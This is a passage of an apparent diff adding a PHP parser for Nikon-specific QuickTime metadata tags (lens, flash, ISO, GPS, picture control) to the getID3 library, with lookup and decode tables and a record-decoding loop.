1', + 9 => 'Extra High 2', + 10 => 'Extra High 3', + 11 => 'Extra High 4', + 65535 => 'Auto' + ); + + protected static $pictureControlDataAdjusts = array( + 0 => 'default', + 1 => 'quick', + 2 => 'full' + ); + + protected static $pictureControlDataFilterEffects = array( + 0x80 => 'off', + 0x81 => 'yellow', + 0x82 => 'orange', + 0x83 => 'red', + 0x84 => 'green', + 0xff => 'n/a' + ); + + protected static $pictureControlDataToningEffects = array( + 0x80 => 'b&w', + 0x81 => 'sepia', + 0x82 => 'cyanotype', + 0x83 => 'red', + 0x84 => 'yellow', + 0x85 => 'green', + 0x86 => 'blue-green', + 0x87 => 'blue', + 0x88 => 'purple-blue', + 0x89 => 'red-purple', + 0xff => 'n/a' + ); + + protected static $isoInfoExpansions = array( + 0x0000 => 'Off', + 0x0101 => 'Hi 0.3', + 0x0102 => 'Hi 0.5', + 0x0103 => 'Hi 0.7', + 0x0104 => 'Hi 1.0', + 0x0105 => 'Hi 1.3', + 0x0106 => 'Hi 1.5', + 0x0107 => 'Hi 1.7', + 0x0108 => 'Hi 2.0', + 0x0109 => 'Hi 2.3', + 0x010a => 'Hi 2.5', + 0x010b => 'Hi 2.7', + 0x010c => 'Hi 3.0', + 0x010d => 'Hi 3.3', + 0x010e => 'Hi 3.5', + 0x010f => 'Hi 3.7', + 0x0110 => 'Hi 4.0', + 0x0111 => 'Hi 4.3', + 0x0112 => 'Hi 4.5', + 0x0113 => 'Hi 4.7', + 0x0114 => 'Hi 5.0', + 0x0201 => 'Lo 0.3', + 0x0202 => 'Lo 0.5', + 0x0203 => 'Lo 0.7', + 0x0204 => 'Lo 1.0', + ); + + protected static $isoInfoExpansions2 = array( + 0x0000 => 'Off', + 0x0101 => 'Hi 0.3', + 0x0102 => 'Hi 0.5', + 0x0103 => 'Hi 0.7', + 0x0104 => 'Hi 1.0', + 0x0105 => 'Hi 1.3', + 0x0106 => 'Hi 1.5', + 0x0107 => 'Hi 1.7', + 0x0108 => 'Hi 2.0', + 0x0201 => 'Lo 0.3', + 0x0202 => 'Lo 0.5', + 0x0203 => 'Lo 0.7', + 0x0204 => 'Lo 1.0', + ); + + protected static $vignetteControls = array( + 0 => 'Off', + 1 => 'Low', + 3 => 'Normal', + 5 => 'High' + ); + + protected static $flashModes = array( + 0 => 'Did Not Fire', + 1 => 'Fired, Manual', + 3 => 'Not Ready', + 7 => 'Fired, External', + 8 => 'Fired, Commander Mode', + 9 => 'Fired, TTL Mode', + 18 => 'LED Light' + ); + + protected static $flashInfoSources = array( + 0 => 'None', + 1 => 'External', + 2 => 'Internal' + ); + + protected static $flashInfoExternalFlashFirmwares = array( + '0 0' => 'n/a', + '1 1' => '1.01 (SB-800 or Metz 58 AF-1)', + '1 3' => '1.03 (SB-800)', + '2 1' => '2.01 (SB-800)', + '2 4' => '2.04 (SB-600)', + '2 5' => '2.05 (SB-600)', + '3 1' => '3.01 (SU-800 Remote Commander)', + '4 1' => '4.01 (SB-400)', + '4 2' => '4.02 (SB-400)', + '4 4' => '4.04 (SB-400)', + '5 1' => '5.01 (SB-900)', + '5 2' => '5.02 (SB-900)', + '6 1' => '6.01 (SB-700)', + '7 1' => '7.01 (SB-910)', + ); + + protected static $flashInfoExternalFlashFlags = array( + 0 => 'Fired', + 2 => 'Bounce Flash', + 4 => 'Wide Flash Adapter', + 5 => 'Dome Diffuser', + ); + + protected static $flashInfoExternalFlashStatuses = array( + 0 => 'Flash Not Attached', + 1 => 'Flash Attached', + ); + + protected static $flashInfoExternalFlashReadyStates = array( + 0 => 'n/a', + 1 => 'Ready', + 6 => 'Not Ready', + ); + + protected static $flashInfoGNDistances = array( + 0 => 0, 19 => '2.8 m', + 1 => '0.1 m', 20 => '3.2 m', + 2 => '0.2 m', 21 => '3.6 m', + 3 => '0.3 m', 22 => '4.0 m', + 4 => '0.4 m', 23 => '4.5 m', + 5 => '0.5 m', 24 => '5.0 m', + 6 => '0.6 m', 25 => '5.6 m', + 7 => '0.7 m', 26 => '6.3 m', + 8 => '0.8 m', 27 => '7.1 m', + 9 => '0.9 m', 28 => '8.0 m', + 10 => '1.0 m', 29 => '9.0 m', + 11 => '1.1 m', 30 => '10.0 m', + 12 => '1.3 m', 31 => '11.0 m', + 13 => '1.4 m', 32 => '13.0 m', + 14 => '1.6 m', 33 => '14.0 m', + 15 => '1.8 m', 34 => '16.0 m', + 16 => '2.0 m', 35 => '18.0 m', + 17 => '2.2 m', 36 => '20.0 m', + 18 => '2.5 m', 255 => 'n/a' + ); + + protected static $flashInfoControlModes = array( + 0x00 => 'Off', + 0x01 => 'iTTL-BL', + 0x02 => 'iTTL', + 0x03 => 'Auto Aperture', + 0x04 => 'Automatic', + 0x05 => 'GN (distance priority)', + 0x06 => 'Manual', + 0x07 => 'Repeating Flash', + ); + + protected static $flashInfoColorFilters = array( + 0 => 'None', + 1 => 'FL-GL1 or SZ-2FL Fluorescent', + 2 => 'FL-GL2', + 9 => 'TN-A1 or SZ-2TN Incandescent', + 10 => 'TN-A2', + 65 => 'Red', + 66 => 'Blue', + 67 => 'Yellow', + 68 => 'Amber', + ); + + protected static $highISONoiseReductions = array( + 0 => 'Off', + 1 => 'Minimal', + 2 => 'Low', + 3 => 'Medium Low', + 4 => 'Normal', + 5 => 'Medium High', + 6 => 'High' + ); + + protected static $AFInfo2ContrastDetectAFChoices = array( + 0 => 'Off', + 1 => 'On', + 2 => 'On (2)' + ); + + protected static $AFInfo2AFAreaModesWithoutContrastDetectAF = array( + 0 => 'Single Area', + 1 => 'Dynamic Area', + 2 => 'Dynamic Area (closest subject)', + 3 => 'Group Dynamic', + 4 => 'Dynamic Area (9 points)', + 5 => 'Dynamic Area (21 points)', + 6 => 'Dynamic Area (51 points)', + 7 => 'Dynamic Area (51 points, 3D-tracking)', + 8 => 'Auto-area', + 9 => 'Dynamic Area (3D-tracking)', + 10 => 'Single Area (wide)', + 11 => 'Dynamic Area (wide)', + 12 => 'Dynamic Area (wide, 3D-tracking)', + 13 => 'Group Area', + 14 => 'Dynamic Area (25 points)', + 15 => 'Dynamic Area (72 points)', + 16 => 'Group Area (HL)', + 17 => 'Group Area (VL)', + 18 => 'Dynamic Area (49 points)', + 128 => 'Single', + 129 => 'Auto (41 points)', + 130 => 'Subject Tracking (41 points)', + 131 => 'Face Priority (41 points)', + 192 => 'Pinpoint', + 193 => 'Single', + 195 => 'Wide (S)', + 196 => 'Wide (L)', + 197 => 'Auto', + ); + + protected static $AFInfo2AFAreaModesWithContrastDetectAF = array( + 0 => 'Contrast-detect', + 1 => 'Contrast-detect (normal area)', + 2 => 'Contrast-detect (wide area)', + 3 => 'Contrast-detect (face priority)', + 4 => 'Contrast-detect (subject tracking)', + 128 => 'Single', + 129 => 'Auto (41 points)', + 130 => 'Subject Tracking (41 points)', + 131 => 'Face Priority (41 points)', + 192 => 'Pinpoint', + 193 => 'Single', + 194 => 'Dynamic', + 195 => 'Wide (S)', + 196 => 'Wide (L)', + 197 => 'Auto', + 198 => 'Auto (People)', + 199 => 'Auto (Animal)', + 200 => 'Normal-area AF', + 201 => 'Wide-area AF', + 202 => 'Face-priority AF', + 203 => 'Subject-tracking AF', + ); + + protected static $AFInfo2PhaseDetectAFChoices = array( + 0 => 'Off', + 1 => 'On (51-point)', + 2 => 'On (11-point)', + 3 => 'On (39-point)', + 4 => 'On (73-point)', + 5 => 'On (5)', + 6 => 'On (105-point)', + 7 => 'On (153-point)', + 8 => 'On (81-point)', + 9 => 'On (105-point)', + ); + + protected static $NikkorZLensIDS = array( + 1 => 'Nikkor Z 24-70mm f/4 S', + 2 => 'Nikkor Z 14-30mm f/4 S', + 4 => 'Nikkor Z 35mm f/1.8 S', + 8 => 'Nikkor Z 58mm f/0.95 S Noct', + 9 => 'Nikkor Z 50mm f/1.8 S', + 11 => 'Nikkor Z DX 16-50mm f/3.5-6.3 VR', + 12 => 'Nikkor Z DX 50-250mm f/4.5-6.3 VR', + 13 => 'Nikkor Z 24-70mm f/2.8 S', + 14 => 'Nikkor Z 85mm f/1.8 S', + 15 => 'Nikkor Z 24mm f/1.8 S', + 16 => 'Nikkor Z 70-200mm f/2.8 VR S', + 17 => 'Nikkor Z 20mm f/1.8 S', + 18 => 'Nikkor Z 24-200mm f/4-6.3 VR', + 21 => 'Nikkor Z 50mm f/1.2 S', + 22 => 'Nikkor Z 24-50mm f/4-6.3', + 23 => 'Nikkor Z 14-24mm f/2.8 S', + ); + + protected static $nikonTextEncodings = array( + 1 => 'UTF-8', + 2 => 'UTF-16' + ); + + /** + * Ref 4 + * + * @var int[][] + */ + protected static $decodeTables = array( + array( + 0xc1,0xbf,0x6d,0x0d,0x59,0xc5,0x13,0x9d,0x83,0x61,0x6b,0x4f,0xc7,0x7f,0x3d,0x3d, + 0x53,0x59,0xe3,0xc7,0xe9,0x2f,0x95,0xa7,0x95,0x1f,0xdf,0x7f,0x2b,0x29,0xc7,0x0d, + 0xdf,0x07,0xef,0x71,0x89,0x3d,0x13,0x3d,0x3b,0x13,0xfb,0x0d,0x89,0xc1,0x65,0x1f, + 0xb3,0x0d,0x6b,0x29,0xe3,0xfb,0xef,0xa3,0x6b,0x47,0x7f,0x95,0x35,0xa7,0x47,0x4f, + 0xc7,0xf1,0x59,0x95,0x35,0x11,0x29,0x61,0xf1,0x3d,0xb3,0x2b,0x0d,0x43,0x89,0xc1, + 0x9d,0x9d,0x89,0x65,0xf1,0xe9,0xdf,0xbf,0x3d,0x7f,0x53,0x97,0xe5,0xe9,0x95,0x17, + 0x1d,0x3d,0x8b,0xfb,0xc7,0xe3,0x67,0xa7,0x07,0xf1,0x71,0xa7,0x53,0xb5,0x29,0x89, + 0xe5,0x2b,0xa7,0x17,0x29,0xe9,0x4f,0xc5,0x65,0x6d,0x6b,0xef,0x0d,0x89,0x49,0x2f, + 0xb3,0x43,0x53,0x65,0x1d,0x49,0xa3,0x13,0x89,0x59,0xef,0x6b,0xef,0x65,0x1d,0x0b, + 0x59,0x13,0xe3,0x4f,0x9d,0xb3,0x29,0x43,0x2b,0x07,0x1d,0x95,0x59,0x59,0x47,0xfb, + 0xe5,0xe9,0x61,0x47,0x2f,0x35,0x7f,0x17,0x7f,0xef,0x7f,0x95,0x95,0x71,0xd3,0xa3, + 0x0b,0x71,0xa3,0xad,0x0b,0x3b,0xb5,0xfb,0xa3,0xbf,0x4f,0x83,0x1d,0xad,0xe9,0x2f, + 0x71,0x65,0xa3,0xe5,0x07,0x35,0x3d,0x0d,0xb5,0xe9,0xe5,0x47,0x3b,0x9d,0xef,0x35, + 0xa3,0xbf,0xb3,0xdf,0x53,0xd3,0x97,0x53,0x49,0x71,0x07,0x35,0x61,0x71,0x2f,0x43, + 0x2f,0x11,0xdf,0x17,0x97,0xfb,0x95,0x3b,0x7f,0x6b,0xd3,0x25,0xbf,0xad,0xc7,0xc5, + 0xc5,0xb5,0x8b,0xef,0x2f,0xd3,0x07,0x6b,0x25,0x49,0x95,0x25,0x49,0x6d,0x71,0xc7 + ), + array( + 0xa7,0xbc,0xc9,0xad,0x91,0xdf,0x85,0xe5,0xd4,0x78,0xd5,0x17,0x46,0x7c,0x29,0x4c, + 0x4d,0x03,0xe9,0x25,0x68,0x11,0x86,0xb3,0xbd,0xf7,0x6f,0x61,0x22,0xa2,0x26,0x34, + 0x2a,0xbe,0x1e,0x46,0x14,0x68,0x9d,0x44,0x18,0xc2,0x40,0xf4,0x7e,0x5f,0x1b,0xad, + 0x0b,0x94,0xb6,0x67,0xb4,0x0b,0xe1,0xea,0x95,0x9c,0x66,0xdc,0xe7,0x5d,0x6c,0x05, + 0xda,0xd5,0xdf,0x7a,0xef,0xf6,0xdb,0x1f,0x82,0x4c,0xc0,0x68,0x47,0xa1,0xbd,0xee, + 0x39,0x50,0x56,0x4a,0xdd,0xdf,0xa5,0xf8,0xc6,0xda,0xca,0x90,0xca,0x01,0x42,0x9d, + 0x8b,0x0c,0x73,0x43,0x75,0x05,0x94,0xde,0x24,0xb3,0x80,0x34,0xe5,0x2c,0xdc,0x9b, + 0x3f,0xca,0x33,0x45,0xd0,0xdb,0x5f,0xf5,0x52,0xc3,0x21,0xda,0xe2,0x22,0x72,0x6b, + 0x3e,0xd0,0x5b,0xa8,0x87,0x8c,0x06,0x5d,0x0f,0xdd,0x09,0x19,0x93,0xd0,0xb9,0xfc, + 0x8b,0x0f,0x84,0x60,0x33,0x1c,0x9b,0x45,0xf1,0xf0,0xa3,0x94,0x3a,0x12,0x77,0x33, + 0x4d,0x44,0x78,0x28,0x3c,0x9e,0xfd,0x65,0x57,0x16,0x94,0x6b,0xfb,0x59,0xd0,0xc8, + 0x22,0x36,0xdb,0xd2,0x63,0x98,0x43,0xa1,0x04,0x87,0x86,0xf7,0xa6,0x26,0xbb,0xd6, + 0x59,0x4d,0xbf,0x6a,0x2e,0xaa,0x2b,0xef,0xe6,0x78,0xb6,0x4e,0xe0,0x2f,0xdc,0x7c, + 0xbe,0x57,0x19,0x32,0x7e,0x2a,0xd0,0xb8,0xba,0x29,0x00,0x3c,0x52,0x7d,0xa8,0x49, + 0x3b,0x2d,0xeb,0x25,0x49,0xfa,0xa3,0xaa,0x39,0xa7,0xc5,0xa7,0x50,0x11,0x36,0xfb, + 0xc6,0x67,0x4a,0xf5,0xa5,0x12,0x65,0x7e,0xb0,0xdf,0xaf,0x4e,0xb3,0x61,0x7f,0x2f + ) + ); + + /** + * @var getID3 + */ + private $getid3; + + public function __construct(getID3 $getid3) + { + $this->getid3 = $getid3; + } + + /** + * Get a copy of all NCTG tags extracted from the video + * + * @param string $atomData + * + * @return array + */ + public function parse($atomData) { + // Nikon-specific QuickTime tags found in the NCDT atom of MOV videos from some Nikon cameras such as the Coolpix S8000 and D5100 + // Data is stored as records of: + // * 4 bytes record type + // * 2 bytes size of data field type: + // 0x0001 = flag / unsigned byte (size field *= 1-byte) + // 0x0002 = char / ascii strings (size field *= 1-byte) + // 0x0003 = DWORD+ / unsigned short (size field *= 2-byte), values are stored CDAB + // 0x0004 = QWORD+ / unsigned long (size field *= 4-byte), values are stored EFGHABCD + // 0x0005 = float / unsigned rational (size field *= 8-byte), values are stored aaaabbbb where value is aaaa/bbbb; possibly multiple sets of values appended together + // 0x0006 = signed byte (size field *= 1-byte) + // 0x0007 = raw bytes (size field *= 1-byte) + // 0x0008 = signed short (size field *= 2-byte), values are stored as CDAB + // 0x0009 = signed long (size field *= 4-byte), values are stored as EFGHABCD + // 0x000A = float / signed rational (size field *= 8-byte), values are stored aaaabbbb where value is aaaa/bbbb; possibly multiple sets of values appended together + // * 2 bytes data size field + // * ? bytes data (string data may be null-padded; datestamp fields are in the format "2011:05:25 20:24:15") + // all integers are stored BigEndian + + $NCTGtagName = array( + 0x00000001 => 'Make', + 0x00000002 => 'Model', + 0x00000003 => 'Software', + 0x00000011 => 'CreateDate', + 0x00000012 => 'DateTimeOriginal', + 0x00000013 => 'FrameCount', + 0x00000016 => 'FrameRate', + 0x00000019 => 'TimeZone', + 0x00000022 => 'FrameWidth', + 0x00000023 => 'FrameHeight', + 0x00000032 => 'AudioChannels', + 0x00000033 => 'AudioBitsPerSample', + 0x00000034 => 'AudioSampleRate', + 0x00001002 => 'NikonDateTime', + 0x00001013 => 'ElectronicVR', + 0x0110829a => 'ExposureTime', + 0x0110829d => 'FNumber', + 0x01108822 => 'ExposureProgram', + 0x01109204 => 'ExposureCompensation', + 0x01109207 => 'MeteringMode', + 0x0110920a => 'FocalLength', // mm + 0x0110a431 => 'SerialNumber', + 0x0110a432 => 'LensInfo', + 0x0110a433 => 'LensMake', + 0x0110a434 => 'LensModel', + 0x0110a435 => 'LensSerialNumber', + 0x01200000 => 'GPSVersionID', + 0x01200001 => 'GPSLatitudeRef', + 0x01200002 => 'GPSLatitude', + 0x01200003 => 'GPSLongitudeRef', + 0x01200004 => 'GPSLongitude', + 0x01200005 => 'GPSAltitudeRef', // 0 = Above Sea Level, 1 = Below Sea Level + 0x01200006 => 'GPSAltitude', + 0x01200007 => 'GPSTimeStamp', + 0x01200008 => 'GPSSatellites', + 0x01200010 => 'GPSImgDirectionRef', // M = Magnetic North, T = True North + 0x01200011 => 'GPSImgDirection', + 0x01200012 => 'GPSMapDatum', + 0x0120001d => 'GPSDateStamp', + 0x02000001 => 'MakerNoteVersion', + 0x02000005 => 'WhiteBalance', + 0x02000007 => 'FocusMode', + 0x0200000b => 'WhiteBalanceFineTune', + 0x0200001b => 'CropHiSpeed', + 0x0200001e => 'ColorSpace', + 0x0200001f => 'VRInfo', + 0x02000022 => 'ActiveDLighting', + 0x02000023 => 'PictureControlData', + 0x02000024 => 'WorldTime', + 0x02000025 => 'ISOInfo', + 0x0200002a => 'VignetteControl', + 0x0200002c => 'UnknownInfo', + 0x02000032 => 'UnknownInfo2', + 0x02000039 => 'LocationInfo', + 0x02000083 => 'LensType', + 0x02000084 => 'Lens', + 0x02000087 => 'FlashMode', + 0x02000098 => 'LensData', + 0x020000a7 => 'ShutterCount', + 0x020000a8 => 'FlashInfo', + 0x020000ab => 'VariProgram', + 0x020000b1 => 'HighISONoiseReduction', + 0x020000b7 => 'AFInfo2', + 0x020000c3 => 'BarometerInfo', + ); + + $firstPassNeededTags = array( + 0x00000002, // Model + 0x0110a431, // SerialNumber + 0x020000a7, // ShutterCount + ); + + $datalength = strlen($atomData); + $parsed = array(); + $model = $serialNumber = $shutterCount = null; + for ($pass = 0; $pass < 2; ++$pass) { + $offset = 0; + $parsed = array(); + $data = null; + while ($offset < $datalength) { + $record_type = getid3_lib::BigEndian2Int(substr($atomData, $offset, 4)); + $offset += 4; + $data_size_type = getid3_lib::BigEndian2Int(substr($atomData, $offset, 2)); + $data_size = static::$exifTypeSizes[$data_size_type]; + $offset += 2; + $data_count = getid3_lib::BigEndian2Int(substr($atomData, $offset, 2)); + $offset += 2; + $data = array(); + + if ($pass === 0 && !in_array($record_type, $firstPassNeededTags, true)) { + $offset += $data_count * $data_size; + continue; + } + + switch ($data_size_type) { + case self::EXIF_TYPE_UINT8: // 0x0001 = flag / unsigned byte (size field *= 1-byte) + for ($i = 0; $i < $data_count; ++$i) { + $data[] = getid3_lib::BigEndian2Int(substr($atomData, $offset + ($i * $data_size), $data_size)); + } + $offset += ($data_count * $data_size); + break; + case self::EXIF_TYPE_CHAR: // 0x0002 = char / ascii strings (size field *= 1-byte) + $data = substr($atomData, $offset, $data_count * $data_size); + $offset += ($data_count * $data_size); + $data = rtrim($data, "\x00"); + break; + case self::EXIF_TYPE_UINT16: // 0x0003 = DWORD+ / unsigned short (size field *= 2-byte), values are stored CDAB + for ($i = 0; $i < $data_count; ++$i) { + $data[] = getid3_lib::BigEndian2Int(substr($atomData, $offset + ($i * $data_size), $data_size)); + } + $offset += ($data_count * $data_size); + break; + case self::EXIF_TYPE_UINT32: // 0x0004 = QWORD+ / unsigned long (size field *= 4-byte), values are stored EFGHABCD + // нужно проверить FrameCount + for ($i = 0; $i < $data_count; ++$i) { + $data[] = getid3_lib::BigEndian2Int(substr($atomData, $offset + ($i * $data_size), $data_size)); + } + $offset += ($data_count * $data_size); + break; + case self::EXIF_TYPE_URATIONAL: // 0x0005 = float / unsigned rational (size field *= 8-byte), values are stored aaaabbbb where value is aaaa/bbbb; possibly multiple sets of values appended together + for ($i = 0; $i < $data_count; ++$i) { + $numerator = getid3_lib::BigEndian2Int(substr($atomData, $offset + ($i * $data_size) + 0, 4)); + $denomninator = getid3_lib::BigEndian2Int(substr($atomData, $offset + ($i * $data_size) + 4, 4)); + if ($denomninator == 0) { + $data[] = false; + } else { + $data[] = (float)$numerator / $denomninator; + } + } + $offset += ($data_size * $data_count); + break; + case self::EXIF_TYPE_INT8: // 0x0006 = bytes / signed byte (size field *= 1-byte) + // NOT TESTED + for ($i = 0; $i < $data_count; ++$i) { + $data[] = getid3_lib::BigEndian2Int(substr($atomData, $offset + ($i * $data_size), $data_size), false, true); + } + $offset += ($data_count * $data_size); + break; + case self::EXIF_TYPE_RAW: // 0x0007 = raw bytes (size field *= 1-byte) + $data = substr($atomData, $offset, $data_count * $data_size); + $offset += ($data_count * $data_size); + break; + case self::EXIF_TYPE_INT16: // 0x0008 = signed short (size field *= 2-byte), values are stored as CDAB + for ($i = 0; $i < $data_count; ++$i) { + $value = getid3_lib::BigEndian2Int(substr($atomData, $offset + ($i * $data_size), $data_size)); + if ($value >= 0x8000) { + $value -= 0x10000; + } + $data[] = $value; + } + $offset += ($data_count * $data_size); + break; + case self::EXIF_TYPE_INT32: // 0x0009 = signed long (size field *= 4-byte), values are stored as EFGHABCD + // NOT TESTED + for ($i = 0; $i < $data_count; ++$i) { + $data = getid3_lib::BigEndian2Int(substr($atomData, $offset + ($i * $data_size), $data_size), false, true); + } + $offset += ($data_count * $data_size); + break; + case self::EXIF_TYPE_RATIONAL: // 0x000A = float / signed rational (size field *= 8-byte), values are stored aaaabbbb where value is aaaa/bbbb; possibly multiple sets of values appended together + // NOT TESTED + for ($i = 0; $i < $data_count; ++$i) { + $numerator = getid3_lib::BigEndian2Int(substr($atomData, $offset + ($i * $data_size) + 0, 4), false, true); + $denomninator = getid3_lib::BigEndian2Int(substr($atomData, $offset + ($i * $data_size) + 4, 4), false, true); + if ($denomninator == 0) { + $data[] = false; + } else { + $data[] = (float)$numerator / $denomninator; + } + } + $offset += ($data_size * $data_count); + if (count($data) == 1) { + $data = $data[0]; + } + break; + default: + $this->getid3->warning('QuicktimeParseNikonNCTG()::unknown $data_size_type: ' . $data_size_type); + break 2; + } + + if (is_array($data) && count($data) === 1) { + $data = $data[0]; + } + + switch ($record_type) { + case 0x00000002: + $model = $data; + break; + case 0x00000013: // FrameCount + if (is_array($data) && count($data) === 2 && $data[1] == 0) { + $data = $data[0]; + } + break; + case 0x00000011: // CreateDate + case 0x00000012: // DateTimeOriginal + case 0x00001002: // NikonDateTime + $data = strtotime($data); + break; + case 0x00001013: // ElectronicVR + $data = (bool) $data; + break; + case 0x0110829a: // ExposureTime + // Print exposure time as a fraction + /** @var float $data */ + if ($data < 0.25001 && $data > 0) { + $data = sprintf("1/%d", intval(0.5 + 1 / $data)); + } + break; + case 0x01109204: // ExposureCompensation + $data = $this->printFraction($data); + break; + case 0x01108822: // ExposureProgram + $data = isset(static::$exposurePrograms[$data]) ? static::$exposurePrograms[$data] : $data; + break; + case 0x01109207: // MeteringMode + $data = isset(static::$meteringModes[$data]) ? static::$meteringModes[$data] : $data; + break; + case 0x0110a431: // SerialNumber + $serialNumber = $this->serialKey($data, $model); + break; + case 0x01200000: // GPSVersionID + $parsed['GPS']['computed']['version'] = 'v'.implode('.', $data); + break; + case 0x01200002: // GPSLatitude + if (is_array($data)) { + $direction_multiplier = ((isset($parsed['GPSLatitudeRef']) && ($parsed['GPSLatitudeRef'] === 'S')) ? -1 : 1); + $parsed['GPS']['computed']['latitude'] = $direction_multiplier * ($data[0] + ($data[1] / 60) + ($data[2] / 3600)); + } + break; + case 0x01200004: // GPSLongitude + if (is_array($data)) { + $direction_multiplier = ((isset($parsed['GPSLongitudeRef']) && ($parsed['GPSLongitudeRef'] === 'W')) ? -1 : 1); + $parsed['GPS']['computed']['longitude'] = $direction_multiplier * ($data[0] + ($data[1] / 60) + ($data[2] / 3600)); + } + break; + case 0x01200006: // GPSAltitude + if (isset($parsed['GPSAltitudeRef'])) { + $direction_multiplier = (!empty($parsed['GPSAltitudeRef']) ? -1 : 1); // 0 = above sea level; 1 = below sea level + $parsed['GPS']['computed']['altitude'] = $direction_multiplier * $data; + } + break; + case 0x0120001d: // GPSDateStamp + if (isset($parsed['GPSTimeStamp']) && is_array($parsed['GPSTimeStamp']) && $data !== '') { + $explodedDate = explode(':', $data); + $parsed['GPS']['computed']['timestamp'] = gmmktime($parsed['GPSTimeStamp'][0], $parsed['GPSTimeStamp'][1], $parsed['GPSTimeStamp'][2], $explodedDate[1], $explodedDate[2], $explodedDate[0]); + } + break; + case 0x02000001: // MakerNoteVersion + $data = ltrim(substr($data, 0, 2) . '.' . substr($data, 2, 2), '0'); + break; + case 0x0200001b: // CropHiSpeed + if (is_array($data) && count($data) === 7) { + $name = isset(static::$cropHiSpeeds[$data[0]]) ? static::$cropHiSpeeds[$data[0]] : sprintf('Unknown (%d)', $data[0]); + $data = array( + 'Name' => $name, + 'OriginalWidth' => $data[1], + 'OriginalHeight' => $data[2], + 'CroppedWidth' => $data[3], + 'CroppedHeight' => $data[4], + 'PixelXPosition' => $data[5], + 'PixelYPosition' => $data[6], + ); + } + break; + case 0x0200001e: // ColorSpace + $data = isset(static::$colorSpaces[$data]) ? static::$colorSpaces[$data] : $data; + break; + case 0x0200001f: // VRInfo + $data = array( + 'VRInfoVersion' => substr($data, 0, 4), + 'VibrationReduction' => isset(static::$vibrationReductions[ord(substr($data, 4, 1))]) + ? static::$vibrationReductions[ord(substr($data, 4, 1))] + : null, + 'VRMode' => static::$VRModes[ord(substr($data, 6, 1))], + ); + break; + case 0x02000022: // ActiveDLighting + $data = isset(static::$activeDLightnings[$data]) ? static::$activeDLightnings[$data] : $data; + break; + case 0x02000023: // PictureControlData + switch (substr($data, 0, 2)) { + case '01': + $data = array( + 'PictureControlVersion' => substr($data, 0, 4), + 'PictureControlName' => rtrim(substr($data, 4, 20), "\x00"), + 'PictureControlBase' => rtrim(substr($data, 24, 20), "\x00"), + //'?' => substr($data, 44, 4), + 'PictureControlAdjust' => static::$pictureControlDataAdjusts[ord(substr($data, 48, 1))], + 'PictureControlQuickAdjust' => $this->printPC(ord(substr($data, 49, 1)) - 0x80), + 'Sharpness' => $this->printPC(ord(substr($data, 50, 1)) - 0x80, 'No Sharpening', '%d'), + 'Contrast' => $this->printPC(ord(substr($data, 51, 1)) - 0x80), + 'Brightness' => $this->printPC(ord(substr($data, 52, 1)) - 0x80), + 'Saturation' => $this->printPC(ord(substr($data, 53, 1)) - 0x80), + 'HueAdjustment' => $this->printPC(ord(substr($data, 54, 1)) - 0x80, 'None'), + 'FilterEffect' => static::$pictureControlDataFilterEffects[ord(substr($data, 55, 1))], + 'ToningEffect' => static::$pictureControlDataToningEffects[ord(substr($data, 56, 1))], + 'ToningSaturation' => $this->printPC(ord(substr($data, 57, 1)) - 0x80), + ); + break; + case '02': + $data = array( + 'PictureControlVersion' => substr($data, 0, 4), + 'PictureControlName' => rtrim(substr($data, 4, 20), "\x00"), + 'PictureControlBase' => rtrim(substr($data, 24, 20), "\x00"), + //'?' => substr($data, 44, 4), + 'PictureControlAdjust' => static::$pictureControlDataAdjusts[ord(substr($data, 48, 1))], + 'PictureControlQuickAdjust' => $this->printPC(ord(substr($data, 49, 1)) - 0x80), + 'Sharpness' => $this->printPC(ord(substr($data, 51, 1)) - 0x80, 'None', '%.2f', 4), + 'Clarity' => $this->printPC(ord(substr($data, 53, 1)) - 0x80, 'None', '%.2f', 4), + 'Contrast' => $this->printPC(ord(substr($data, 55, 1)) - 0x80, 'None', '%.2f', 4), + 'Brightness' => $this->printPC(ord(substr($data, 57, 1)) - 0x80, 'Normal', '%.2f', 4), + 'Saturation' => $this->printPC(ord(substr($data, 59, 1)) - 0x80, 'None', '%.2f', 4), + 'Hue' => $this->printPC(ord(substr($data, 61, 1)) - 0x80, 'None', '%.2f', 4), + 'FilterEffect' => static::$pictureControlDataFilterEffects[ord(substr($data, 63, 1))], + 'ToningEffect' => static::$pictureControlDataToningEffects[ord(substr($data, 64, 1))], + 'ToningSaturation' => $this->printPC(ord(substr($data, 65, 1)) - 0x80, 'None', '%.2f', 4), + ); + break; + case '03': + $data = array( + 'PictureControlVersion' => substr($data, 0, 4), + 'PictureControlName' => rtrim(substr($data, 8, 20), "\x00"), + 'PictureControlBase' => rtrim(substr($data, 28, 20), "\x00"), + 'PictureControlAdjust' => static::$pictureControlDataAdjusts[ord(substr($data, 54, 1))], + 'PictureControlQuickAdjust' => $this->printPC(ord(substr($data, 55, 1)) - 0x80), + 'Sharpness' => $this->printPC(ord(substr($data, 57, 1)) - 0x80, 'None', '%.2f', 4), + 'MidRangeSharpness' => $this->printPC(ord(substr($data, 59, 1)) - 0x80, 'None', '%.2f', 4), + 'Clarity' => $this->printPC(ord(substr($data, 61, 1)) - 0x80, 'None', '%.2f', 4), + 'Contrast' => $this->printPC(ord(substr($data, 63, 1)) - 0x80, 'None', '%.2f', 4), + 'Brightness' => $this->printPC(ord(substr($data, 65, 1)) - 0x80, 'Normal', '%.2f', 4), + 'Saturation' => $this->printPC(ord(substr($data, 67, 1)) - 0x80, 'None', '%.2f', 4), + 'Hue' => $this->printPC(ord(substr($data, 69, 1)) - 0x80, 'None', '%.2f', 4), + 'FilterEffect' => static::$pictureControlDataFilterEffects[ord(substr($data, 71, 1))], + 'ToningEffect' => static::$pictureControlDataToningEffects[ord(substr($data, 72, 1))], + 'ToningSaturation' => $this->printPC(ord(substr($data, 73, 1)) - 0x80, 'None', '%.2f', 4), + ); + break; + default: + $data = array( + 'PictureControlVersion' => substr($data, 0, 4), + ); + break; + } + break; + case 0x02000024: // WorldTime + // https://exiftool.org/TagNames/Nikon.html#WorldTime + // timezone is stored as offset from GMT in minutes + $timezone = getid3_lib::BigEndian2Int(substr($data, 0, 2)); + if ($timezone & 0x8000) { + $timezone = 0 - (0x10000 - $timezone); + } + $hours = (int)abs($timezone / 60); + $minutes = abs($timezone) - $hours * 60; + + $dst = (bool)getid3_lib::BigEndian2Int(substr($data, 2, 1)); + switch (getid3_lib::BigEndian2Int(substr($data, 3, 1))) { + case 2: + $datedisplayformat = 'D/M/Y'; + break; + case 1: + $datedisplayformat = 'M/D/Y'; + break; + case 0: + default: + $datedisplayformat = 'Y/M/D'; + break; + } + + $data = array( + 'timezone' => sprintf('%s%02d:%02d', $timezone >= 0 ? '+' : '-', $hours, $minutes), + 